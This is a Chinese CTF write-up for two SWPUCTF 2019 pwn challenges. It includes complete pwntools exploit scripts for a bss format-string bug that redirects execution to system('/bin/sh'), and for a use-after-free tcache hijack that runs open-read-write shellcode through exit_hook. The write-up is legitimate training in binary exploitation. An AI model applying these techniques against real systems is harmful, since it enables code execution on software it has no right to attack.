来做一下以前比赛的题目,下面两个题目都可以在buu复现(感谢赵总)。

SWPUCTF_2019_login

  32位程序,考点是bss段上的格式化字符串。用惯onegadgets了,而对于32位程序来说,onegadgets似乎不太好用,条件太苛刻了。还是用system拿shell好一点。

  我见网上都是打got表拿的shell,我是修改程序执行流程为system拿的shell。

  修改0xffc2e7a8 —▸ 0xffc2e7b8为0xffc2e7a8 —▸ 0xffc2e79c

  然后让0xffc2e79c指向system。第一次输入的name信息输入"/bin/sh\x00"的位置正好可以当作system的参数来拿shell。

 1 from pwn import *
2
3 p = process(['./pwn'],env={'LD_PRELOAD':'./libc-2.27-x86.so'})
4 libc = ELF('./libc-2.27-x86.so')
5 context.log_level = 'debug'
6
7 def fun(content):
8 p.sendlineafter('again!\n',content)
9 def duan():
10 gdb.attach(p)
11 pause()
12
13 p.sendafter('name: \n','/bin/sh\x00')
14 p.sendlineafter('password: \n','%15$p-%6$p')
15 p.recvuntil('password: ')
16 libc_base = int(p.recv(10),16)-241-libc.symbols['__libc_start_main']
17 p.recvuntil('-')
18 stack = int(p.recv(10),16)
19 print 'libc_base-->'+hex(libc_base)
20 print 'stack-->'+hex(stack)
21 system = libc_base+libc.symbols['system']
22 print 'system-->'+hex(system)
23
24 payload = '%'+str((stack-0xc)&0xff)+'c%6$hhn'
25 fun(payload)
26 payload = '%'+str(system&0xff)+'c%10$hhn'
27 fun(payload)
28
29 system = str(hex(system))
30 system = system[:-2]
31 payload = '%'+str((stack-0xc+1)&0xff)+'c%6$hhn'
32 fun(payload)
33 payload = '%'+str(int(system,16)&0xff)+'c%10$hhn'
34 fun(payload)
35
36 system = system[:-2]
37 payload = '%'+str((stack-0xc+2)&0xff)+'c%6$hhn'
38 fun(payload)
39 payload = '%'+str(int(system,16)&0xff)+'c%10$hhn'
40 fun(payload)
41
42 system = system[:-2]
43 payload = '%'+str((stack-0xc+3)&0xff)+'c%6$hhn'
44 fun(payload)
45 payload = '%'+str(int(system,16)&0xff)+'c%10$hhn'
46 fun(payload)
47
48 p.sendline('wllmmllw')
49 p.interactive()

SWPUCTF_2019_p1KkHeap

  Ubuntu18.04的环境,保护全开,而且有沙箱保护。

  如果调用execve会跳转到0011,会被KILL掉。(我猜的)

  所以这题只能通过orw来拿flag。

  程序存在uaf漏洞,并且对free限制了只可以用3次,所有功能的总次数也有限制。反正我正好,一次不多,一次不少的用完了所有次数。

  free两次,泄露heap地址,同时利用double free来劫持tcache结构体,写入一些数据使得再free的chunk进入unsortedbin而不是tcache,就可以拿到libc的基地址,然后利用结构体任意写。在程序初始化的时候mmap了一块可读可写可执行的地址,往那个地址写orw的shellcode,我最后是打exit_hook为shellcode的地址,程序退出的时候输出了flag。

 1 from pwn import *
2
3 p = process('./pwn')
4 elf = ELF('./pwn')
5 libc = ELF('./libc.so.6')
6 context(os='linux',arch='amd64',log_level='debug')
7
8 def duan():
9 gdb.attach(p)
10 pause()
11 def add(size):
12 p.sendlineafter('Choice: ','1')
13 p.sendlineafter('size: ',str(size))
14 def edit(index,content):
15 p.sendlineafter('Choice: ','3')
16 p.sendlineafter('id: ',str(index))
17 p.sendafter('content: ',content)
18 def show(index):
19 p.sendlineafter('Choice: ','2')
20 p.sendlineafter('id: ',str(index))
21 def delete(index):
22 p.sendlineafter('Choice: ','4')
23 p.sendlineafter('id: ',str(index))
24
25 add(0x80)
26 delete(0)
27 delete(0)
28 show(0)
29 p.recvuntil('content: ')
30 heap_addr = u64(p.recv(6).ljust(8,'\x00'))
31 print 'haap_addr-->'+hex(heap_addr)
32 add(0x80)
33 edit(1,p64(heap_addr-0x250))
34 add(0x80)
35 add(0x80)
36 edit(3,p64(0x0700000000000000))
37 add(0x80)
38 add(0x80)
39 delete(4)
40 show(4)
41 libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-96-0x10-libc.symbols['__malloc_hook']
42 exit_hook = libc_base+0x619060+3840
43 print 'libc_base-->'+hex(libc_base)
44 edit(3,p64(0x0700000000000001)+p64(0)*7+p64(exit_hook)+p64(0)*6+p64(0x66660000))
45 add(0x80)
46 buf = 0x66660000+0x100
47 shellcode = shellcraft.open('./flag')
48 shellcode += shellcraft.read('rax',buf,100)
49 shellcode += shellcraft.write(1,buf,100)
50 payload = asm(shellcode)
51 print len(payload)
52 edit(6,payload)
53 add(0x10)
54 edit(7,p64(0x66660000))
55 print p.recv()

SWPUCTF 2019 pwn writeup的更多相关文章

  1. SWPUCTF 2019总结以及部分WP

    本次SWPUCTF开赛了,一共做了5个misc+2个web,RE和Android没时间看= =,pwn完全不会,果然又是和去年一样划水.题目都出的很不错,做题的时候思路其实也容易想到,剩下几个web有 ...

  2. Jarvis OJ - 栈系列部分pwn - Writeup

    最近做了Jarvis OJ的一部分pwn题,收获颇丰,现在这里简单记录一下exp,分析过程和思路以后再补上 Tell Me Something 此题与level0类似,请参考level0的writeu ...

  3. 西湖论剑2019部分writeup

    做了一天水了几道题发现自己比较菜,mfc最后也没怼出来,被自己菜哭 easycpp c++的stl算法,先读入一个数组,再产生一个斐波拉契数列数组 main::{lambda(int)#1}::ope ...

  4. 攻防世界新手区pwn writeup

    CGfsb 题目地址:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5050 下载文 ...

  5. Insomni'hack teaser 2019 - Pwn - 1118daysober

    参考链接 https://ctftime.org/task/7459 Linux内核访问用户空间文件:get_fs()/set_fs()的使用 漏洞的patch信息 https://maltekrau ...

  6. ISCC2018 Reverse & Pwn writeup

    Reference:L1B0 Re RSA256 春秋欢乐赛原题..flag都不变的 给了三个加密文件和公钥证书public.key,可以使用openssl进行处理 $openssl rsa -pub ...

  7. 虎符2021线下赛pwn writeup

    jdt 一个图书管理系统,但并不是常规的堆题.edit和show函数可以越界.edit函数和show函数相互配合泄露libc基地址,将main函数的返回地址覆盖成onegadgets拿shell. f ...

  8. NepCTF pwn writeup

    上周抽时间打了nepnep举办的CTF比赛,pwn题目出的挺不错的,适合我这种只会一点点选手做,都可以学到新东西. [签到] 送你一朵小红花 64位程序,保护全开. 程序会在buf[2]处留下一个da ...

  9. HGAME2021 week4 pwn writeup

    第四周只放出两道题,也不是很难. house_of_cosmos 没开pie,并且可以打got表. 在自写的输入函数存在漏洞.当a2==0时,因为时int类型,这里就会存在溢出.菜单题,但是没有输出功 ...

随机推荐

  1. MYSQL数据库重新初始化

    前言 我们在日常开发过程中,可能会遇到各种mysql服务无法启动的情况,各种百度谷歌之后,依然不能解决的时候,可以考虑重新初始化mysql.简单说就是重置,"恢复出厂设置".重置之 ...

  2. [atAGC043B]123 Triangle

    不妨先操作一轮,使得$0\le a_{i}\le 2$ 结论:若序列中存在1,则答案为0或1 考虑归纳,注意到若序列中存在1,除非所有元素均为1,否则操作一轮后必然仍存在1,那么根据归纳假设即成立,而 ...

  3. [bzoj4777]Switch Grass

    结论:最短路径一定是单独的一条边且在最小生成树上,可以用反证法证明.那么求出最小生成树,对于每一个点建立一棵权值线段树,再对每一个权值线段树上的叶子节点开一个multiset,维护所有儿子中该种颜色的 ...

  4. [loj3046]语言

    定义$S_{i}$表示第$i$条链所包含的点的集合,$(x,y)$合法当且仅当$x\ne y$且$\exists i,\{x,y\}\subseteq S_{i}$(答案即$\frac{合法点对数}{ ...

  5. Hi3516开发笔记(五):通过HiTools使用网口将uboot、kernel、roofts和userdata按照分区表烧写镜像

    前言   前面生成了uboot,kernel,sample,userdata(我们实际修改了ip的),rootfs,现在需要烧写进入核心板.   使用网口烧写镜像(海思烧写必须占用调试串口) 步骤一: ...

  6. 【树莓派】Python开发工控机急停设计

    背景 我们在一些工业产品中使用树莓派替代了PLC和上位机,并借助树莓派的算力将AI和机器视觉引入工业领域. 以前的产品都不存在动作机构,仅仅将结果输出到指示灯.蜂鸣器或者显示器上,没有安全隐患, 现在 ...

  7. python函数理解 json.dump()

    信息来自python说明文档(https://docs.python.org/3/library/json.html) 函数功能 输出一个python对象到文件 函数声明 json.dump(obj, ...

  8. Matlab指针

    Matlab指针 第一印象貌似是Matlab中不存在指针,所有变量与函数的赋值都是按值传递的,不会对参数进行修改.其实Matlab提供了handle类作为指针代替品.只要我们利用handle子类,就可 ...

  9. PAML 选择压力的计算

    简介 PAML(Phylogenetic Analysis by Maximum Likelihood)是伦敦大学的杨子恒(Yang Ziheng)教 授开发的一套基于最大似然估计来对蛋白质和核酸序列 ...

  10. Python基础之赋值与注释

    目录 1. 花式赋值 1.1 链式赋值 1.2 交叉赋值 1.3 交叉赋值(解压缩) 2. 注释 2.1 单行注释 2.2 多行注释 1. 花式赋值 1.1 链式赋值 a = 10 b = 10 c ...